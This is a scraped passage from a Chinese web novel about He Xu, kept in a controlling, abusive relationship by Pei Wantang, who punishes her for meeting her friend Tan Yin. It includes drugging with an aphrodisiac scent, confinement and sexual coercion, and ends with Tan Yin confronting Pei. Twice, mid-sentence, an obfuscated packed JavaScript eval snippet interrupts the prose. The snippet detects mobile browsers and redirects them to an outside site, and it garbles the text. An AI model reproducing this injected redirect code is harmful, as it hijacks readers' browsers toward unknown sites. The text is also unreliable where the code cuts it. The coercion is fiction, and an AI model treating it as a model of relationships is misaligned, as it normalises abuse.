比如大一哪堂实验,老师一开始就讲了,只要步骤准确,时间精确就不可能出现结晶,她非不信,说亲眼看到了,前后磨了老师将近一周,最后发现是试剂被污染导致的异常结果,她没能发现新的化合物,但向半个材化学院的人证明,三班十五号是个犟种,她决定了的事十头牛都拉不回来。 谈茵想起那幕,忍不住笑了声,说:“提好了?” 何序明白过来谈茵的意思,立刻攥紧背包肩带。 谈茵一点点松手,确定何序完全提稳之后才收回手插进口袋:“走吧,票已经买好了。” 何序:“嗯。” 今天是工作日,人不多,四人在山道上走走停停,悠闲得像是city walk,又比城市里安静松弛,视野开阔,体感非常舒服。 何序太久没有体会过这么自由轻松的感觉,即使长久不活动的身体已经难以负荷,也还是默不作声坚持着,想吹一吹山顶的风,想看鸟雀从山顶起飞。 她从机械枯燥的生活中暂时挣脱出来,忘了时间。 中午十二点半,来给裴挽棠送饭,但毫无悬念被赶出来的胡代短暂犹豫,下楼给佟却打电话:“马上满两天了,小姐的情况为什么不止没有好转,反而还严重了?” 佟却:“心病还须心药医,她自己不想好,我就是把仙丹拿来也没有用。” 胡代回想刚刚在次卧里看到的,已经忍耐得透出狼狈的裴挽棠,抬手招来司机:“去接何小姐回来,具体哪个医院打电话问霍助理。” 司机:“好的。” 胡代:“算了。” 裴挽棠想要何序回来的时候,不必她自作主张;她不想,所有安排都只会适得其反。 但是已经一上午了,探病需要这么长时间? 胡代心生疑虑。 楼上,裴挽棠又忍过了一拨来自神经末梢的强烈刺痛,周围陷入死寂。她握着打火机一动不动躺了一会儿,起身过来书房找手机。 定位软件打开,地图上显示着两个红色的位置图标,一个代表何序,一个代表裴挽棠。 图标相距很近,其中一个带围栏的,边界甚至还涵盖着另一个所在的位置。 也就是说,何序就在裴挽棠附近,在她设定的可控范围内,但她今天要去的二院分明和这里隔了半个城。 裴挽棠没有血色的脸让她看起来极为虚弱,她没有情绪的眼神则让她显得阴郁压迫。 “叩叩。” 书房门被敲响。 裴挽棠没有立即应声,步伐缓慢但腰背笔直地走到书桌后坐下,打开电脑,翻开文件,等到一切看起来没有异常的时候,不高不低出声:“进。” 霍姿带着个牛皮纸袋进来:“裴总,您让查的东西都查到了。” 霍姿将牛皮纸袋放在裴挽棠面前,说:“五年前为找何小姐,谈茵几乎把整个东港翻过来。” 东港是何序她们学校所在地,和鹭洲相邻。 那地方大,想翻过来不是什么容易的事,除了要有足够的能力,还需要坚定的毅力和充分的理由。 霍姿眼观鼻鼻观心,尽可能忽略裴挽棠身上的低压,冷静道:“谈茵高二交过一个女朋友,之后十年一直单身。” 过于漫长的时间。 长得不太正常。 这不正常和何序有关。 学生时代,她们几乎形影不离,时常谈天说地,美得让人觉得虚假; 毕业之后,谈茵念念不忘,四处打听,纯得接近愚蠢。 现在呢?失而复得,终于按捺不住,想把她占为己有了? 手机屏幕里的定位图标不厌其烦地闪着,越来越频繁地提示GPS信号弱,上方红色的警示框里还着重标记了信号弱的位置:鹭洲市翠湖区小竹山。 裴挽棠看了已经快十分钟的那页资料里有一行加粗的话,也写着:以后有机会,我带去你小竹山看深潭。 阳光慢慢从书房斜出去,裴挽棠苍白的面色将她阴郁的目光不断深化,无限深化。 ———— 何序几人中途休息得太多,下午三点才登顶。 山顶平阔,山风削得竹涛簌簌,碧色深潭卧于山峦之下,藏于竹林之间,被竹涛不断推进着,流向小竹山深处。 何序站在山边远眺,竹涛也推着她,推着周围明亮的日光,融合她上身干净的白衣,映照得她脸在发光,笑容璀璨。 谈茵一顿,一动不动看着何序,心脏很清晰地跳着。 何序脸上那种不掺一丝杂质的笑和上学时如出一辙,是她过去魂牵梦萦,怀念过无数个夜晚的笑,她总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560030|171370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为这辈子不可能再见,现在猝不及防出现在面前,她不受控制地朝那个方向走了一步。 那一步像无形的开关,打开躁动心门,山风从四面八方涌来,然后,吹得所有悸动戛然而止。 山风掀起了何序的头发,她脖子里,被蹭掉遮瑕后露出来的吻痕明显到像是一种示威、警告,意在让觊觎她的人知难而退。 所以,她家里真有人了,每天六点一过就要赶回去见他/她? 谈茵眼前空白一瞬,脑中嗡鸣不断。 何序察觉到什么,转头往过看。 恰好庞靖喊人:“谈茵,发什么愣呢?快过来拍照!” 谈茵顺势垂眼,避开何序的注视,也将瞳孔里所有激荡翻涌的情绪和爱意藏回到了心底——她的心意来得太晚也太冒犯,对何序有害无利,那不如哪儿来的回哪儿,不要打破此刻平静。 “来了。”谈茵说。 拍完照休息了一个小时,几人开始下山。 “要不坐缆车吧?这么险的道,真一路走下去,估计我后面一周都得扛着腿去见客户。”庞靖郑重提议,一一点名,“你,你,你,今天这缆车能不能坐?” 程雪没什么想法,她就是真说不,庞靖也有一百种办法让她点头。 谈茵后半程一直没怎么说话,这会儿被点名也只是很淡地“嗯”了声,没更多话。 何序视线从谈茵身上经过,对上庞靖危险的目光:“能坐。” 缆车四人一组,她们几个刚好凑齐一辆。 排到之后,庞靖率先挤进来,找了个最佳观赏位坐下。 现在是傍晚五点半,还没有变得很长的白昼正披着赤色晚霞高调退场,小竹山上群峰目送,山下深潭注视,密林修竹呼应着晚风,一浪一浪挥手告别。 庞靖趴在玻璃窗上,被脚下景色惊艳得直拍大腿。 “要不明年再来?”程雪笑道。 庞靖“噌”一下转回来,手指挨个指过对坐的人:“明年我还要来鹭洲,来小竹山!你俩可给我伺候好了,随时准备接驾!” 谈茵的情绪已经有所恢复,因为上缆车前,何序侧身过来,用只有两个人能听到的声音说的那句“不开心吗”。 那一秒她忽然觉得,不管跟谁在一起,何序开心就好。 她家里的情况挺复杂的,别说是同性恋,就算门不当户不对的,想在一起也要经历重重困难,那又何必拉何序蹚这趟浑水。 她开心就好。 她说的过得还不错是真的就好。 一切好着就好。 谈茵无声地吐出一口气,扬起嘴角,声音懒散拖沓:“看好时间再来,小谈总很忙,不是你想见就能见到。” 庞靖送她一对大白眼,送何序一双星星眼:“序儿,你在的吧?” 何序对庞靖总是高昂的情绪没什么抵抗力,闻言点点头,说:“在。” 庞靖满意了,兴致勃勃地拿出手机说要合照留念,四人头对头的时候,最后一缕霞光刚好打在她们脸上,被定格的笑容就显得尤为灿烂。 从山门口到停车场还有一段距离,待几人走出来,天已经完全黑了,游客中心聚了不少人,都在等车。 谈茵看了眼说:“何序,一起走吧,这个点不好叫车。” 何序想拒绝,又担心真等久了,赶不上七点到家。权衡片刻,何序说:“我家比较远,一会儿你找个就近的地铁站把我放下就行。” 谈茵:“好。” 谈茵直至此刻,已经完全能够自控情绪,一边低着头回工作消息,一边还能有来有往地和庞靖拌嘴,再转头过来找何序评理。 何序看得很喜欢,好像真回到了无忧无滤的十几岁,有考砸一门课都算天塌的脆弱幼稚,也有暴雨里蹦着笑着的坚韧无惧。 何序就这么笑着坐上了谈茵的副驾。 车门关上的前一秒,一只手忽然伸过来挡住。 何序一惊,胸腔里再次出现早上那种陡然坠落般的惊悚感,她抓紧背包抬头,看到有过数面之缘的霍姿矮身过来说:“何小姐,裴总来接您了。” 说完侧身让开视线。 何序看到不远处的黑色车子车窗严密,照不进去一丝光。 但她知道,裴挽棠就坐在后座,以什么样的姿态。 7. 第 7 章 紧绷感像冰冷的蛇,悄无声息爬上何序脚踝。 何序脚下意识往回缩了一下,被座椅挡住。她往下看,牙齿不受控制地打着颤。 何序的情绪变化太过明显,谈茵想不发现都难,她前一秒还因为霍姿那句“何小姐,裴总来接您了”变得酸涩疼痛的心脏冷寂下来,确认似的看向何序。 没错。 她就是在紧张。 可好的恋爱在被以这样高调的方式突然公开时,带给她的不应该是羞涩和喜悦? 谈茵目光骤深,想起KTV的卫生间里,何序那句“我不是靖靖说的发展好,是曾经想走捷径,却不知道捷径的尽头是看不见底的深渊,我掉下去了。” 由此引发的各种猜测在谈茵脑子里迅速过滤一遍,没有得出任何确切结论。 谈茵只能不露声色地收起目光,对上霍姿:“不好意思,你是?” 霍姿:“我是谁不重要,重要的是何小姐。” 霍姿的停顿是她惯用的社交技巧,没什么心思的庞靖果然在停顿发生时,本能去捕捉她留在话末的重点——“何小姐”——她的视线跟过去,被没有受到霍姿干扰的谈茵挡住。 谈茵始终注视着霍姿。 霍姿:“何小姐今天爬山辛苦,我老板心疼何小姐,特意来接她回家。” 这话在谁听来都和爱情有关,或者还会误以为她们处在热恋。 比如庞靖。 “序儿,你真是深藏不漏啊!不止是我们四个里第一个谈恋爱的,对象还是老板!” “差距啊,光那个车就够我不吃不喝赚半辈子了。” 何序脑子里响过一阵嗡鸣,像是诡异的讯号,缠在她脚踝上的蛇开始往上爬。 庞靖搭着谈茵的肩膀凑过来,笑嘻嘻地问何序:“不给我们介绍介绍?” 应该介绍,好朋友嘛。 就剩这几个朋友了。 可是她和裴挽棠没有在谈恋爱啊。 可是她还想要一点体面。 她的朋友都知道寰泰现在的老板叫裴挽棠,她关过一个女人;她们刚才也听到霍姿说她老板姓裴,也知道何序是女人。 那如果介绍,不就马上把前后的线索关联起来了。 可是在朋友面前,她总还是想要一点体面的嘛。 她们今天“序儿,序儿”叫了她很多回,说她好看,说她学习好,很看得起她,她也已经听习惯了赞美,现在就,想要一点体面。 “下次吧,今天太仓促了。”何序下车,笑得勉强。 庞靖:“哪儿仓促了,现在才六点……” “靖靖,”庞靖话到一半被谈茵打断,“我们今天都灰头土脸的,去了让人觉得何序娘家人邋遢,改天吧。” 庞靖欲言又止,不太甘心,她和程雪明天就离开了鹭洲了,再见真不知道什么时候。 程雪话少,但善于观察,这会儿已经隐隐约约察觉到了什么,她和谈茵交换了个眼神,拉走庞靖继续说服。 谈茵话在嘴里再三斟酌,问何序:“可以吗?” 简短又隐晦的三个字。 有关心,有对何序尊严的维护。 何序看着谈茵,陌生的酸胀感从她心脏深处冒出来,让她觉得感激,同惶恐。 她身体里每一次情绪的偏轨,都是对现状的反抗。 可能也没到那个程度,只是细微的试探罢了。 试探她被现实驯服的程度深浅,试探她的眼睛是否还想看远,神经是否还保持敏感。 她的本能似乎还没有完全放弃她,所以她会觉得羞耻,会想要体面。 而她自己…… 何序很轻地笑了一声,说:“可以。” 以及,谢谢。 谢谈茵给的体面,谢她的关心。 但是可惜,她只有被裴挽棠彻底厌弃,然后扔掉的份儿,没有自己选择和反抗的权利,谈茵给的这些体面和关心,她注定回报不了。 那至少别让她们担心,只记住今天在小竹山上的快乐就好。 “她对我特别好。”何序说:“真的。” 谈茵欲言又止。 有些时候,越是强调的,越不是真的。 谈茵却无法挑破——何序脸上的笑看起来太勉强了。 “再联系。”谈茵只能这么说。 何序含糊地应了声,被霍姿护送着往车边走。蛇已经爬上了她的脊背,她站在打开的车门前,脸白了几分:“对不起。” “我说什么了,你就道歉?”裴挽棠朝何序伸出手,骨节还是那么细长,皮肤还是那么白皙,说:“上来。” 很温和的语气。 反常的平静。 何序脊背的凉意上涌,一瞬间扼住了她的喉咙,她想逃跑,身体却像是被裴挽棠的目光锁住了一样,不受控制地把手放进她手心里,被她拉着上车,离开了小竹山。 路上没有任何交流。 霍姿目不斜视地开车,裴挽棠手撑着颌骨侧在一边,撇开环境音后的极端安静里,何序听到蛇头在耳边吐信,蛇尾耀武扬威似的甩着坠在脚踝的宝石。 一下,一下…… “不饿?”裴挽棠说。 何序陡然回神,发现自己已经回到家里,正坐在餐桌前吃饭。 厨房今天做了松茸炖官燕、鸡枞菌炒芦笋尖、蟹粉小笼包……很丰盛,餐后的樱桃饱满新鲜,很诱人。 所有这些食物都靠近何序摆着,裴挽棠面前只有一杯温水和一粒退烧药。 何序捉着勺子的手收紧,后知后觉想起上车那会儿裴挽棠伸过来的手还很烫。 但一般到第二天晚上,她就应该好得差不多了,这次怎么反倒严重? 嘴唇都是白的,虎口上,她咬出来的牙印结着薄薄一层痂。 何序被那片暗红刺激得心跳加速,恐惧感从头到脚,她不断告诉自己冷静,冷静,可思绪像被掀翻了的墨水,飞溅横流,无法忽视更无法控制,她本能去求和,去讨好,去关心,去利用一切可利用的让情况变得有利,让裴挽棠消气,“你还没好?”何序问。 裴挽棠靠着椅背,右手搭在桌上,食指若即若离贴着水杯,闻言,杯子被推离寸余,平静的水面出现一点波动,她说:“你在意?” 何序喉咙抖索,想起自己之前几次的无视。 虚伪的伎俩被轻易穿拆。 裴挽棠说:“不在意何必开口问?” 何序:“……” 退烧药被扔进杯子里,裴挽棠捏着杯子晃了晃:“我死了,你不就自由了?” 绝对温和的语气。 绝对尖锐的用词。 何序心脏狂跳,耳膜里全是血液奔涌的轰鸣:“我……” 裴挽棠:“你不是一直在等这天?” 何序:“没有。” 裴挽棠:“没有?” 吱—— 往常沉重的实木椅子,今天摩擦地面发出的声响都是缓和的。 裴挽棠起身的时候,顺手把樱桃推到何序手边,然后垂腕拨弄、挑拣。樱桃掉出餐盘,滚了满桌,自有的低温、水渍的冷感不断撞击何序手背。 何序竭力克制着的缩手的冲动一动不敢动。 不久,拨弄挑拣的动作停了,裴挽棠将最满意的那颗喂进何序嘴里,轻兜她的下巴,示意她嚼。过程里一直垂眼注视着她,等她把果肉咽下去了,摊开手掌,接住果核,说:“真的没有?” 何序如鲠在喉,还残留有浓浓果香味的牙齿剧烈磕碰。 裴挽棠又喂了她一颗,体贴至极,接着安抚似的摸了摸她的头,淡声道:“我怎么记得三年前你那一刀捅向我的时候毫不犹豫?” “当啷!” 何序手里的勺子掉在碗里。 胡代立刻上前擦拭溅在桌上的汤,另有人给何序重新盛汤,换勺。 裴挽棠已经上楼了,被她扔进杯子里的退烧药开始缓慢溶解。 客厅冷不丁陷入寂静。 积压在何序心里的不安一涌而出,快把她的胸膛撑破。 她感觉到裴挽棠的怒气了。 前所未有的强烈。 可她外在的表现却是不冷脸,不生气,不发火,异常极其。 明明她说谎被抓了现行。 之前只是和谈茵几人吃顿饭而已,裴挽棠都把她扔进了泳池。 今天是撒谎了。 还是利用裴挽棠的好心撒的谎。 还是在她发烧腿疼的时候,做了她最厌恶的事。 何序的不安冲破胸膛,在身体里横冲直撞,挤得胃里一阵干呕。她立刻抿紧嘴唇忍耐着,过了很久才松开唇继续吃饭。 ——不好好吃饭,裴挽棠会更不高兴。 只吃两口,何序忽然放下勺子:“我吃饱了。” 何序跑着上楼。 卧室的灯没开,但卫生间里有水声。 何序在卧室中央站了几分钟,按捺着铺天盖地的不安,过来隔壁洗澡。她今天洗得很慢,脑子里设想各种接下来可能发生的画面,甚至连被再次锁起来都想到了。 这是她活该,所以即使对此恐惧万分,她也还是硬着头皮回来了卧室。 裴挽棠刚收拾好,从卫生间出来后,像是没看到她一样,径直往床边走。 何序一愣,心直往下坠,慌得她下意识跟过去抓住了裴挽棠手腕。 裴挽棠站定回头,目光对上的瞬间,何序本能想松手。 想到脚踝上挥之不去的痛感和束缚感,想到谈茵、庞靖和程雪。 何序抓紧裴挽棠说:“今天不做?” 上车之前她就已经说过“对不起”了,往后她不知道还有办法让裴挽棠消气,她没见过这种不动声色的裴挽棠,心里完全没有底,现在唯一能想到的就是做。 她们之间只有床上这点关系。 每次她表现好,裴挽棠就会放轻动作,加强耐心,或者以其他方式表达她的好心情。 她吃这套。 何序按捺住无章可循的思绪,尽可能冷静地注视着裴挽棠。 裴挽棠瞳孔浓黑,即使平静看人也透着一股强烈的凌厉和审视。 沉默半晌,裴挽棠转身面对何序,一只脚踩在她脚上。 力道很重。 何序觉得疼,但又没到无法忍受的程度,她就只是站着,等裴挽棠说话。 裴挽棠身上散发着热气,有刚洗过澡的原因,也有发烧不退的,她脚下一点一点用力,直到何序的冷静被撕碎,变了脸色,才说:“爬了一天山,还有精力?” 何序疼得张口就是一声轻喘,身上细微地发颤。 裴挽棠踩得更狠:“还是因为心情太好,就不觉得累了?” 何序声音都在抖,行为下意识示弱:“裴挽棠……” 又是这招。 像是在昭示裴挽棠昨晚的愚蠢。 裴挽棠毫无征兆踩到底,接着猝不及防撤脚、抽手,远离何序。 何序踉跄地后退一步,看到裴挽棠转身坐在床边,说:“何序,我去不了的地方,你是不是玩得格外开心?” ———— 五个小时前。 霍姿在楼下喝完了三盏茶也没等到裴挽棠的指示,准备走。 手机突然响了。 裴挽棠说:“上来。” 霍姿立刻过来书房。 裴挽棠面色苍白地撑着书桌站起来,把车钥匙扔给霍姿:“一小时后,送我去个地方。” 霍姿:“有什么事您交代我去办就行了,您安心在家休息,我……” “我只是腿疼,不是人死了。” “……” 霍姿攥了一下身侧的手,快速拿起车钥匙下楼备车。 裴挽棠洗澡换衣,再出现,除了左腿微跛,身上不见一丝脆弱感,去小竹山的路上,她的情绪也异常平静。 霍姿就以为没什么大事。 直到何序和谈茵几人说着笑着从山门口出来。 车厢里的氛围一瞬间低到谷底。 裴挽棠身体不适不能吹风,车里甚至打了热风空调,可看到何序那秒,她把车窗玻璃将到了最低。 霍姿扶着方向盘,不回头都能感觉到来自后方的压力。 何序走得越近,笑容越清晰,那种压力越重。她点头答应上谈茵车的时候,裴挽棠的情绪阈值到达顶峰。 “哗——” 车窗被升到顶。 裴挽棠坐在黑暗里说:“下去叫她过来。” ———— 人是过来了,心呢? 小竹山有鹭洲最野也最自由的风,吹过了,没那么容易忘。 裴挽棠撑不住似的身体微微后倾,右手支在身侧:“今天她抱你了吗?” 裴挽棠的目光自下而上,声音比在楼下还要温和。 何序却是心脏一紧,寒意从脚底直冲头脑。 “……我们不是你想的那样。”何序攥着手心的汗说。 裴挽棠手指在床单上规律地轻点:“谈茵,27岁,安诺医疗接班人,能力不错,人品不错,长相也不错,重点……” 裴挽棠垂眼,扶起掉在右臂上的睡衣肩带,说:“为人情深义重。” 何序在裴挽棠说出“谈茵”两个字的时候脑中就已经警铃大作,她不清楚裴挽棠查了谈茵多少,不明白她此举的意图,只是潜意识地否认:“我和她没什么。” 裴挽棠:“那你和谁有什么?” 何序:“……” 她现在的生活除了裴挽棠没有第二个人,和谁都没有关系。 但是裴挽棠似乎认定了她和谁有什么关系。 混乱的思绪充斥着担心。 何序向前走了一步,又停下。 裴挽棠的头发从肩头掉了下去,露出脖颈,那里的皮肤是刚洗浴过的红色,血管若隐若现,一直延伸到锁骨。 锁骨上有几道抓痕。 何序不敢抓裴挽棠。 那这些抓痕就只会是裴挽棠自己弄的。 ——以前她腿疼受不了的时候这么抓过自己。 何序乱如麻的脑子忽然有了方向般主动走到裴挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴挽棠抬手将扶回去的肩带又拉下来,比自然垂落的低得低,露出大半胸衣,包裹着弧线刚刚好的丰润和沟壑。 几绺发丝搭在身上,锁骨明显,几秒后,裴挽棠说:“过来闻我。” 从来没有过的要求。 何序指尖发麻,空白的大脑催着她一步步走到裴挽棠跟前,弯腰闻她——下颌、脖子、耳后、肩膀、锁骨、胸口…… 每多在裴挽棠皮肤上多呼吸一口,何序的意识就淡薄一分,她起初没有发现,等鼻息间的香气彻底消失,她昏沉沉看到天花板上的灯光在旋转时,裴挽棠已经不见了,偌大卧室只剩她被一根发带缚着双手,绑在床头。可怕的骚/动感在她身体里攀升,血管像着了火,她整个身体都被欲.望裹挟着,剧烈地战栗。 不对劲。 不对劲…… 裴挽棠身上的味道不对劲。 何序艰难地抬起眼皮,眼眶都像是烧着的,偏头看向阳台。 裴挽棠一身整齐,叠着腿坐在圆桌旁,眼睛注视着房间里发生的每一幕,手里一支似曾相识的打火机,不紧不慢地开——合——开——合—— 蓝色火焰通过空气传导,继续烧着何序,像要将她活生生烧死。 “裴……裴挽棠……” “咔。” 打火机盖盖回去之后再没有被掀开。 裴挽棠靠坐在椅子里,长发随着晚风,像淡墨山水画,像轻轻翻动的书页,像焦灼急迫的何序最佳的对照组,不慌不忙,端庄体面。 羞耻感扑面而来,眼泪夺眶而出。 “对不起……对不起……” 持续不断地重复,何序只能想到道歉,但坐在桌边的人始终无动于衷。 何序快崩溃了,手挣得发带“吱吱”作响。 裴挽棠依然没有动作,无力感和焦灼感迅速吞没着何序。 蓦地,电话在何序耳边响起,她转头看见屏幕上跳出谈茵的名字。 急促的喘息骤然一顿,脑内轰然爆炸。 裴挽棠走进来坐在床边,手指轻柔地刮过何序眼角,拿起电话说:“既然知道错了,那现在告诉我,喜欢她身上的香气,还是我的?你要她,还是要我?” 何序张口结舌,不敢想象电话一旦被接通,她会失去什么。 可能会一无所有吧。 精神层面的,道德层面的。 恐惧冰冻何序的血液,欲.望翻江倒海。 何序脱口道:“你……要你……你……”语气里除了急迫,还有熟练,好像这话她过去已经说了千万遍,知道什么最好。 却被裴挽棠否定:“撒谎。” 想要一个人,怎么会用惊恐的眼神看她,怎么会让脸上的红潮褪下去,怎么会利用她的软肋、痛苦来打击她、欺骗她。 电话还在持续不断地响,裴挽棠看着屏幕里扎眼的名字,说:“何序,四年了,在撒谎这件事上,你真的屡教不改,你说我应该怎么做,才能让你真的长住记性?” “……不会有下一次,”何序脸上都是细汗,不停地喘着气,“我保证。” “你保证?你难道不知道,你这张嘴对我来说,毫无信用可言。” “……” 电话停了又响,裴挽棠手指按住接听键又松开,抬眼看着何序:“何序,知不知道一般小孩子犯错,大人都是怎么教育的?” 何序眼睛里都是痛苦难熬的水汽:“……怎么教育?” 裴挽棠挂了电话、关机,手指毫无征兆深入到何序激荡难控里欲.望里勾压刺激,搅浑她的清晰,搅乱她声音,没告诉她,她也不知道怎么教育,她又没有小孩儿,但她想,对于屡教不改的,也许需要诸如“她喜欢狗,就当着她的面杀死一条狗”这种极端的做法,要精准踩踏她的弱点,给她一个毕生难忘的教训,才有可能让她真的记住。 何序视线被眼泪模糊,水声顺着裴挽棠的手指不断往下流,她身体煎熬好像缓解了,又好像变本加厉,怎么结束不了,躺着、趴着、跪着、哭着、求着,她陷在这种无力又无法逃脱的处境里,隐约感觉到了什么。 次日被印证。 何序出门的时候,胡代说锁坏了,还没来得及换;她找手机的时候,胡代说手机坏了,给她一支新的——里面和从前一样,只有裴挽棠的、家里的和霍姿的电话。 何序被无措和未知包裹,每天都试图在和裴挽棠发生关系的时候说点什么,每天都只是哭到求饶,脑子里一片混乱。 她在这段日子里唯一觉得庆幸的是,裴挽棠身上没再有过那种让她崩溃的香气。 那是什么她不得而知,但寰泰生命是多元化的健康和福利公司,而性,是成年人与生育来的福利,而裴挽棠,不可能让谁窥探自己的私事,那那股香气可能是什么,可能是谁研发出来的,也就不那么模糊。 快三年了,她还以为和裴挽棠之间的恩怨早就已经淡了、无所谓了,只等一个契机彻底结束,怎么突然就变成这样了呢? 不安日复一日。 五天后,何序又一次哽咽着喊裴挽棠名字的时候,裴挽棠停下动作抱住她,格外温柔地说:“好了,不要哭了,明天带你去高地庄园看天鹅。” 天鹅多高贵。 何序混沌地想,这三年她连超过十五公里的远门都没出过,怎么突然就配去看天鹅了? 天鹅在鹭洲边上。 稍微扇一扇翅膀,就能远走高飞。 8. 第 8 章 次日上午九点半,何序穿上霍姿一早送来的休闲套装,上了裴挽棠的车。她已经从霍姿口中得知,今天这个局是对方为参与寰泰一个新型项目的研发专门凑的,去的人要么能决策,要么懂技术,要么像霍姿这样万能,只有她什么都不会。 犹豫再三,何序还是没能按捺住徘徊心里许久的不安,说:“你们是去谈工作的,我不懂这些,就不给你们添麻烦了吧。我也不是很喜欢天鹅。” 裴挽棠闭目靠着后座:“那儿的甜点不错,霍姿已经让人准备好了蛋糕。” 何序:“……”她喜欢吃蛋糕,以前。 裴挽棠:“里面的农场有樱桃树,可以现摘,霍姿会带你去。” 何序:“……”她喜欢吃樱桃,一直。 那这一趟,她不去也得去,哪怕只是为了不违逆裴挽棠的安排,或者叫不拒绝她闲来无聊,随手给她这只笼中鸟加的餐食。 但人不是说,天下没有免费的午餐,裴挽棠也不是会把脾气咽下去,让过往轻易翻篇的人。 何序偏头看向窗外,一团杨花在空飘着,落不下,飞不起,像她没有着落的心脏。 车子一路往东,开了一个多小时,终于到达目的地。 霍姿把何序和裴挽棠带到二楼休息室后就走了,去安排今天的会面。 休息室里很安静,临湖的一排窗户大开着,能听见鸟叫、水鸣,树叶在相互摩挲,何序在窗边出神。 过了不知道多久,何序忽然听到裴挽棠说:“肚子还酸不酸?” 何序一愣,想起昨晚自己受不了的时候,抓住裴挽棠手腕说的话。昨晚的间隔都太短了,她到后面肚子酸得不得了,一直抓着裴挽棠哭,但是泡过热水澡就好了。 裴挽棠知道,她对她了如指掌。 所以何序收回搭在窗沿的双手,如实说:“不酸了。” 裴挽棠没再出声。 窗外的鸟还在叫,水还在流,树叶相互摩挲的频率快了一阵又慢下来。 何序后知后觉意识到什么,回头看向裴挽棠。 她果然在看她。 眼神不浓,但意味明确。 何序余光扫过紧闭的门锁,再开口,声音低了几个度:“只剩半个小时就吃饭了。” 这里的环境虽然私密,但一边临湖,一边挨着走廊,何序知道只要有霍姿在,就没人能轻易靠近,没人会知道这里发生的一切,可她还是觉得,在窗户大开的环境里主动迎合显得很廉价。 ……算了,她也没什么值钱。 何序在裴挽棠说一声“够了”,起身朝窗边走的时候,主动把头转回去,双手重新搭上窗台,合拢。 裴挽棠却反常地没有禁锢她的双手,而是很直接分开她。 何序一下子湿了眼睛,但躲不掉,也不能去抓裴挽棠,只能竭力抠着窗台,小声说:“裴挽棠,你……” “你能不能抓着我?” 此刻求人抓着自己,就像求人作践自己。 何序话落地的刹那,眼泪跟着掉下来。 可是没有办法嘛,太自由,她会不受控制地想要乱跑,万一发出或者弄出什么尴尬的响动,多丢人的。 她最近的情绪超不稳定,每天都在胡思乱想,被人抓着,她会安分点。 何序把已经有了苗头的哭声咬在嘴里,等裴挽棠回应。 裴挽棠过了很多秒才说:“求我。” 何序:“……求你。” 裴挽棠:“求我什么?” 何序:“求你,抓着我……” 裴挽棠就抓住了。 往后二十多分钟里,一秒也没有松开,何序很安全地完成了自己的任务,走在裴挽棠前面整一整衣袖,遮住腕上的指印,去给她开门——吃饭时间到了。 “咔——” 门打开的瞬间,何序和外面的人四目相对。 对方脸上有来不及收拾的讥讽,很快变成错愕,又马上从错愕演变成愤怒,情绪变化非常丰富。 而何序,只有什么东西轰然爆炸后的死寂,从里到外。 她看着几乎按捺不住怒火的谈茵,很木讷地想,她的朋友还是知道她现在在做什么了啊,知道她被人锁过,知道她脚上有链子,哦,可能还听到她求人抓着自己吧,不然为什么会出现讥讽的表情? 也是。 被人锁着,是那个人强硬,可求人抓着自己,就是她在犯贱了。 但也不能全怪她是不是。 她不是没有羞耻心。 相反的,在朋友面前,她很努力地维护过自己。 她只是接受了用这种让人不耻的身份活着。 只是接受了。 不是真心想这么做。 被撞破的难堪在何序身体又一次爆炸,产生的每一块碎片都像针,准确无误扎中了她破碎的羞耻心。 她身体里连日的不安有了解释,突然平静下来,很理性地分析:什么看天鹅、吃甜品、摘樱桃,不过是裴挽棠终于找到了教育她的方式而已。 她在鹭洲多难惹的,霍姿做事多缜密的,如果不是有人授意在前,有人执行在后,谈茵怎么可能长驱直入,出现在休息室门口? 裴挽棠教育她的方式就是把她的自尊彻底打碎,让她再也不敢骗她,利用她,老老实实按照她给的方式生活。 哎呀哎呀。 这方法实在太有效了。 她都想不到往后还有什么脸去见谈茵,刚刚她眼里的讥讽…… 好恐怖。 吧嗒。 何序的眼泪掉在地上。 一瞬间砸醒了谈茵。 谈茵惊慌失措地伸手,还没想好自己要做什么,就被另一只手甩开,同时,哭得悄无声息的何序被她转向自己,被扶着头,抱在颈边。 明明是很亲密的动作。 谈茵却又一次想起何序说在KTV卫生间里的话,想起小竹山下看到霍姿的紧张,想起刚刚在门外听到的声音……滔天愤怒一拥而上,谈茵抬起拳头直直挥向裴挽棠。 “谈茵!” 李尽兰的怒喝突如其来,紧接着就有人冲过来拦住谈茵,把她往后拖。 谈茵整个人像是失控一样疯狂往前扑,猩红双眼剜着裴挽棠:“你知不知道你在做什么?啊?!那可是何序!” 大学四年,从没跟宿舍、班级,乃至全年级、全学院的任何一个人红过脸,呛过声。 见人永远和和气气的,有时候有点逗,期末整理的重点会无条件分享给全班全专业,辛苦打工攒的钱都要给流浪猫流浪狗买根烤肠,买盒罐头。 程雪说如果人的个性和四季对应,那何序应该长在最从容最干净最清透也最舒服的季节,该被呵护着走过寒冬炎夏。 所以庞靖只是因为裴挽棠的行为对“同性恋”三个字发出鄙夷声音的时候,她都要去看一看何序的反应,怕这种鄙夷会刺激到她,那有朝一日,她们之间有可能了,何序就不敢了。 她没生在温室,但最合适被移栽过去。 实际呢??? “裴挽棠,你会害死她!你会害死……” “啪!” 李尽兰用尽全力一巴掌甩谈茵脸上,所有声音戛然而止,架着谈茵的两个人被这一幕惊到,愣了两三秒,才在李尽兰怒不可遏的眼神中将谈茵强行拖走。 李尽兰竭力压着怒气,待谈茵消失,立刻转身过来向裴挽棠赔笑道:“裴总不要介意,我这个女儿被宠坏了,说话没轻重,你千万别跟她一般见识,一会儿到包厢了,我先自罚三杯向你赔罪。” 裴挽棠手还扶在何序脑后,颈边除了最开始那一瞬间的抖动和眼泪,往后始终平静。 平静得裴挽棠手不由自主拢了一下。 “赔罪就免了,毕竟李总的年纪和资历在那儿摆着,真要在我一个晚辈面前低头,传出去显得我仗势欺人。”裴挽棠说。 李尽兰:“裴总说的是,是我考虑不周……” 